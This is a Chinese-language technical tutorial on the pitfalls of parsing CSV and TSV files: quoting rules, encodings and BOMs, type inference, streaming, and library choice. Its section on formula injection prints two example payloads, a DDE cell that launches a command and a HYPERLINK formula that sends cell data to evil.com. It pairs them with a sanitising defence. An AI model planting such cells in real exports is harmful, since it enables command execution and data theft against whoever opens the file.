引言
CSV 大概是世界上最被低估的数据格式:它看起来简单到「按逗号切分」就行,但实际上没有一个真正统一的标准,每种工具都有自己的方言。Excel 会把 00123 变成 123、把 1E5 变成科学计数法、把长数字变成 1.23E+15;含逗号的字段、含换行的字段、含引号的字段,每一个都能让天真的解析器出错。
本文把 CSV/TSV 解析的坑一次讲清:从 RFC 4180 的规则,到方言检测、BOM、类型推断、流式处理,再到 CSV 注入这类安全风险。读完你会明白:永远不要用 line.split(",") 解析 CSV。
相关:JSON 与 YAML 处理 、列式数据格式 。数据管道落地见 data-engineering 专题 。
1. RFC 4180:唯一的「标准」
1.1 规则要点
RFC 4180 是 CSV 最接近标准的文档,核心规则:
- 每条记录一行,用
CRLF(\r\n)分隔。 - 字段间用逗号分隔。
- 字段可被双引号包裹。
- 引号内的双引号用两个双引号转义(
""→")。 - 引号内的逗号和换行是字面内容。
- 首行可选地作为表头。
name,description
"Smith, John","He said ""hello"" to me"
"Multi
line",plain
这个文件只有 3 条记录,但按「按行切分」会数出 4 行——第 2 条记录的字段跨了两行。
1.2 标准没规定的事
RFC 4180 留下大量空白,正是方言丛生的根源:
- 编码:默认 ASCII,但实际可能是 UTF-8、GBK、Latin-1。
- 分隔符:只规定逗号,实际有分号(欧洲)、制表符(TSV)、竖线。
- 引号字符:只规定
",有些方言用'。 - 表头:可选,且没规定唯一性。
- 空字段 vs 缺失字段:
a,,c与a,c语义不同,但如何表示「缺失」无标准。 - 数字/日期格式:完全不管。
2. 引号与转义
2.1 引号的两种作用
引号把「可能含特殊字符的字段」包起来,使其中的逗号、换行、引号变成字面内容:
field with, comma → "field with, comma"
field with "quote" → "field with ""quote"""
2.2 常见错误
| 错误写法 | 问题 |
|---|---|
只处理 " 不处理 "" | 引号内的引号被误解 |
| 引号只在字段开头识别 | a"b 被错误处理 |
| 引号内的换行按行切 | 记录被截断 |
| 不 trim 字段前后的空白 | "a" 与 a 混淆 |
| 假设引号一定成对 | 畸形文件直接崩溃 |
2.3 引号状态的正确解析
正确的解析是一个状态机:跟踪「是否在引号内」,只有在引号外遇到分隔符才切字段。
def parse_csv_line(line):
fields, field, in_quotes, i = [], [], False, 0
while i < len(line):
c = line[i]
if in_quotes:
if c == '"':
if i + 1 < len(line) and line[i + 1] == '"':
field.append('"'); i += 1 # 转义的引号
else:
in_quotes = False
else:
field.append(c)
else:
if c == '"':
in_quotes = True
elif c == ',':
fields.append(''.join(field)); field = []
else:
field.append(c)
i += 1
fields.append(''.join(field))
return fields
真实解析器还要处理跨行(引号未闭合时继续读下一行)。这段逻辑的通用性——状态机、词法分析——与 日志解析 里构建解析器的思路相通。
3. 分隔符、编码与 BOM
3.1 方言(dialect)检测
Python 的 csv 模块提供 Sniffer 自动检测方言:
import csv
with open("data.csv", newline="", encoding="utf-8-sig") as f:
sample = f.read(4096)
dialect = csv.Sniffer().sniff(sample)
print(dialect.delimiter, dialect.quotechar, dialect.lineterminator)
注意:Sniffer 只是启发式,复杂文件会猜错。生产环境应显式指定方言,而非依赖猜测。
3.2 BOM 问题
UTF-8 BOM(EF BB BF,即 )是 Excel 导出 CSV 的常见产物。它会让第一个字段名变成 id,导致按列名取值失败。
# 错误:BOM 留在第一个字段名里
with open("data.csv") as f:
reader = csv.DictReader(f)
row["id"] # KeyError: 'id'
# 正确:用 utf-8-sig 自动剥离 BOM
with open("data.csv", encoding="utf-8-sig") as f:
reader = csv.DictReader(f)
row["id"] # 正常
3.3 编码检测
CSV 没有声明编码的机制,只能靠启发式或约定:
import chardet
raw = open("data.csv", "rb").read(10000)
enc = chardet.detect(raw)["encoding"] # 可能返回 'GB2312'、'UTF-8' 等
中文场景尤其危险:GBK 与 UTF-8 混用会得到乱码而非报错。约定用 UTF-8(无 BOM)是唯一可靠策略,读取端要显式指定。
4. 换行符与多行字段
4.1 三种换行符
| 来源 | 换行符 |
|---|---|
| Unix / macOS | \n |
| Windows | \r\n |
| 旧 Mac | \r |
混合来源的文件可能同时含 \n 和 \r\n。解析时必须用 newline="" 打开文件(Python),把换行处理交给 csv 模块,否则模块会看到被 \r\n 拆坏的字段:
# 正确:newline='' 禁用通用换行翻译
with open("data.csv", newline="", encoding="utf-8") as f:
for row in csv.reader(f):
...
4.2 多行字段
字段内的换行只有在引号内才合法。解析器必须在引号未闭合时继续读下一行:
id,note
1,"line one
line two"
这一条记录跨了两行,note 的值是 line one\nline two。任何「按行读 + 按行切」的实现都会在这里崩掉。
5. 类型推断陷阱
CSV 本身没有类型——一切都是字符串。但当数据经过 Excel、pandas、数据库导入时,隐式类型推断会制造灾难。
5.1 经典事故
| 原始值 | 被推断为 | 后果 |
|---|---|---|
00123(工号) | 123 | 前导零丢失 |
1E5(产品编号) | 100000.0 | 变成科学计数法 |
+86 138...(电话) | 86 | 加号与空格被吃 |
3-5(区间) | 2026-03-05 | 被当日期 |
TRUE/NO | 布尔 | 值语义被改写 |
1.23456789012345678 | 浮点 | 精度丢失 |
NaN/NULL/NA/- | 缺失值 | 与真实字符串混淆 |
16:30 | 时间 | 变成 16:30:00 |
防御:导入时强制所有列为字符串(pandas dtype=str、keep_default_na=False),在业务层显式转换。
import pandas as pd
# 全部按字符串读,不推断类型,不把 NA 当缺失
df = pd.read_csv("data.csv", dtype=str, keep_default_na=False, encoding="utf-8")
5.2 空值、空字符串与 NULL 的三重歧义
a,,c → 空字段(可能是空字符串,也可能是缺失)
a,"",c → 显式空字符串
a,NULL,c → 字面字符串 "NULL"?还是缺失?
CSV 无法区分这三者。必须在数据契约层面约定:要么用专门的缺失标记(如 \N,PostgreSQL COPY 的做法),要么全部当字符串处理。
5.3 日期与本地化
03/04/2026 是 3 月 4 日还是 4 月 3 日?取决于地区。CSV 不含地区信息,导入时必须指定格式。ISO 8601(2026-03-04)是唯一无歧义的选择。
6. TSV 与其他变体
6.1 TSV 的额外约束
TSV(Tab-Separated Values)比 CSV 更简单,但有自己的规则:
- 字段内不允许制表符,因此通常不需要引号机制。
- IANA 的
text/tab-separated-values规定字段内不能有 tab、换行、回车。 - 实践中若字段含 tab,仍需转义,而转义方式各家不一(
\t、\\t、引号包裹)。
TSV 的优势是解析更快(分隔符不会出现在数据里)且更少歧义,适合机器间交换。代价是引号规则不统一。
6.2 其他分隔符
| 方言 | 分隔符 | 常见地区/工具 |
|---|---|---|
| CSV | , | 通用 |
| TSV | \t | 大数据、日志 |
| 分号 CSV | ; | 欧洲(因逗号是小数点) |
| 竖线 | | | 老系统、Oracle 导出 |
| 固定宽度 | 无 | 大型机、银行报文 |
固定宽度(fixed-width) 是另一类:字段按列位置切分,无分隔符。解析时靠列定义而非分隔符,常见于金融与遗留系统。
6.3 分隔符出现在数据里
若分隔符可能出现在数据中,必须转义或引号包裹。这就是为什么「用 ; 当分隔符」在欧洲流行——因为当地用逗号作小数点,1,5 是 1.5,若再用逗号分隔就冲突了。选分隔符前先看数据分布。
7. 流式解析与内存
7.1 不要一次读入内存
大 CSV(GB 级)必须流式处理:
import csv
with open("huge.csv", newline="", encoding="utf-8") as f:
reader = csv.reader(f)
header = next(reader)
for row in reader: # 逐行处理,内存 O(1)
process(row)
对比 pandas 的 read_csv 会一次性加载(除非用 chunksize):
for chunk in pd.read_csv("huge.csv", chunksize=100_000, dtype=str):
process(chunk) # 分批处理
7.2 解析性能对比
| 方案 | 速度 | 内存 | 适用 |
|---|---|---|---|
手写 split | 快但错 | 低 | 从不适用(会出错) |
Python csv | 中 | 低 | 通用 |
| pandas | 中 | 高 | 分析 |
| polars | 快 | 中 | 现代分析 |
DuckDB read_csv | 很快 | 低 | 查询优先 |
Rust csv crate | 很快 | 低 | 高性能管道 |
现代栈(Polars、DuckDB)在 CSV 读取上有显著优化,参见 Polars 与 DuckDB 现代数据栈 。列式存储(Parquet)在分析场景下通常比 CSV 快一个数量级,见 列式数据格式 与 clickhouse 专题 。
7.3 校验与错误恢复
流式解析要决定遇到坏行怎么办:
- 严格:立刻报错并终止(适合数据交换)。
- 宽容:跳过坏行并记录行号(适合日志类)。
- 部分:把坏行原样保留到错误文件,供人工修复。
无论哪种,都要记录行号——没有行号的 CSV 错误几乎无法定位。
8. CSV 注入安全
8.1 公式注入(CSV Injection)
当 CSV 被 Excel 打开时,以 =、+、-、@ 开头的单元格会被当作公式执行:
name,amount
=cmd|'/c calc'!A0,100
=HYPERLINK("http://evil.com?d="&A1,"click")
这是「CSV 注入」或「公式注入」,可导致命令执行或数据外泄。防御:导出时给危险前缀加单引号或空格:
def sanitize_cell(v):
if v and v[0] in ("=", "+", "-", "@", "\t", "\r"):
return "'" + v
return v
8.2 字段注入与转义
向 CSV 写入用户数据时,必须正确转义引号、分隔符、换行,否则会破坏结构甚至注入额外列。用库写,不要手工拼:
import csv
with open("out.csv", "w", newline="", encoding="utf-8") as f:
writer = csv.writer(f, quoting=csv.QUOTE_MINIMAL)
writer.writerow(["name", "note"])
writer.writerow(["Smith, John", 'He said "hi"\nbye'])
9. 选型与实践建议
9.1 解析器选型
| 语言 | 推荐库 | 特点 |
|---|---|---|
| Python | 标准库 csv | 流式、方言支持 |
| Python(分析) | pandas / polars | 类型推断可控、分块 |
| JavaScript | Papa Parse | 浏览器/Node,流式 |
| Java | Apache Commons CSV / univocity | 方言丰富 |
| Go | encoding/csv | 标准库,严格 |
| Rust | csv crate | 高性能,灵活 |
9.2 十条铁律
- 永远不要用
split(",")解析 CSV。 - 用
newline=""打开文件。 - 显式指定编码(推荐
utf-8-sig)。 - 显式指定方言,不依赖
Sniffer猜。 - 导入时把一切当字符串,业务层再转换。
- 大文件用流式或分块。
- 记录错误行号。
- 导出时转义,导入时防御公式注入。
- 约定缺失值标记,别让空字符串承担三种语义。
- 分析场景优先考虑 Parquet,别让 CSV 进数据湖。
9.3 何时该放弃 CSV
CSV 适合简单表格、人机交换、一次性导入。当出现以下需求时,应换格式:
- 需要类型(用 Parquet、Arrow)。
- 需要嵌套结构(用 JSON、Avro)。
- 需要 schema 演进(用 Avro、Protobuf)。
- 数据量大且要频繁分析(用 Parquet + 查询引擎)。
10. 小结
CSV 的陷阱集中在三处:结构层(引号、转义、多行、方言)、编码层(BOM、字符集、换行符)、语义层(类型推断、空值歧义、公式注入)。规避它们的办法不是记住更多特例,而是把 CSV 当作有方言的二进制格式严肃对待:用成熟的流式解析器、显式指定一切参数、在边界处做校验与转义。需要更结构化的数据表达时,回到 JSON 与 YAML 处理 或转向 列式数据格式 。
继续阅读
探索更多技术文章
浏览归档,发现更多关于系统设计、工具链和工程实践的内容。